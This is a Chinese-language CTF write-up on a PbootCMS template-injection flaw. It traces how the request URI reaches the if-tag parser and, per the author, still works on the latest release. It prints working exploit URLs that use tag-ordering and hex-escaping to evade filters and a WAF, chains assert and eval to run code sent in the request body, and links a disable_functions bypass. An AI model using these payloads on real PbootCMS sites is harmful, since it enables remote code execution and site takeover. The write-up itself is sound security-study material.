前言
看本文之前需要了解pbootcms之前模板注入漏洞的原理
另外。pbootcms作者是摆烂了吗。几个公开的前台RCE。1月3号更新完还没修。。
Writeup
开局是个pbootcms。Web🐕的老朋友了。
随便点几下。就会发现。只存在一个主页。其他功能点都无了。这时候。确认下版本
/index.php/xxxxx
报错就有版本号。发现是最新版
在挖掘这cms的时候。从历史漏洞入手。会发现这pboot全是模板注入的洞。根本原因就是可控输入到了解析if标签的点。刚好带入eval造成代码注入
历史版本的修复一直都是把可控点加个过滤。这整个cms。都是基于模板解析来的。也就是你所可控的都会走一遍模板解析。之后找个可控的输入点就行
之前的pboot模板注入Exp如下
{pboot{user:password}:if(([php.info][0])([1][0]));//)}xxx{/pboot:if}
这个{user:password}
是因为在某次安全更新中会在解析pboot的if标签前。
就把pboot:if
替换成了pboot@if
。而在此之后会有个把{user:password}
替换为空的解析流程
大致流程如下
1、可控模板内容
2、解析各种标签
3、替换pboot:if为pboot@if
4、解析user标签把{user:password}替换为空
5、解析if标签
那么问题来了。既然能通过模板解析的先后顺序来绕过pboot的if替换。是否有一个方法能把模板内的一些特殊标签解析成我们可控的输入呢。
这当然有。不然哪来的题。。翻文档。
https://www.pbootcms.com/docs/
在公共标签中有个httpurl
的标签。看这名字。应该有点搞头
跟进看一下
这里有两个模板标签。一个是{pboot:httpurl}
另一个是{URL}
。
这里的httpurl其实就是获取域名。而URL呢。在之前编译模板的时候就已经解析了。
整个pboot就是先解析点基础的常量。然后再解析模板标签
这个URL。在经过self::parOutputDefine();
时会被解析成<?php echo URL;?>
这个URL。很明显是个常量。但是全局搜。没发现定义。
pboot唯一一个加密文件。在core/basic/Kernal.php
。里面是授权码鉴权啥的。懂得都懂
echo出来就行。
这里。他把$REQUEST_URI
定义为了URL。也就是我们所有GET的东西
这不就是可控的输入点?
OK。整理下思路
分析kernel.php。URL常量为我们访问的URI。带参数
编译模板。把标签中的{URL}替换为URI
类似这样。然后就是解析httpurl。效果是这样。由于浏览器会编码。用BP发或者socket发就行。就不会把符号编码
接下来就简单了。
a=}{pboot{user:password}:if(([php.info][0])([1][0]));//)}xxx{/pboot:if}
}主要是为了闭合最后的}
{pboot:qrcode string{pboot:httpurl}/?a=xxx}
{pboot:qrcode string{pboot:httpurl}}{pboot{user:password}:if(([php.info][0])([1][0]));//)}xxx{/pboot:if}}
闭合模板标签。把恶意的标签单独出去
然后就是绕waf了。害。这里加了点难度。有个长度限制。以及不能POST。
饶了这么多次了。随便绕。他检测关键字那就引号16进制呗。直接放poc了。
/?a=}{pboot{user:password}:if(("prin\x74_r")("\x41"));//)}xxx{/pboot{user:password}:if}
这题是有disable_function和open_basedir的
赛后有些师傅说。没phpinfo。。。然后就卡死了???
那就绕啊。都是公开的老姿势了。
get_cfg_var
ini_get
接着绕下长度限制。可以试用create_function注入eval。反正关键字hex一下就行。
当然还有其他方法更通用的方法比如assert和eval的套娃了。大致poc如下
"if(assert(eval('".file_get_contents("php://input")."'))"
由于是字符串注入到eval。所以要注意闭合。这里就看对assert和eval的认知了。
assert能动态调用。但是。eval不行
可以看到。虽然会Deprecated。但是不影响。之后就是用双引号绕过assert的限制
然后构造assert('eval('.file_get_contents('php://input').')')
通过assert来调用eval。此时eval是以字符串传入的。16进制绕下就行。而且assert以代码执行。可以调用eval结构。
exp如下
/?a=}{pboot{user:password}:if(("asse\x72t")("eva"."l('".("file_get_content\x73")("php://input")."')"));//)}xxx{/pboot{user:password}:if}
最后就是绕过disable_function了。就上个exp完事。
https://github.com/mm0r1/exploits/blob/master/php-filter-bypass/exploit.php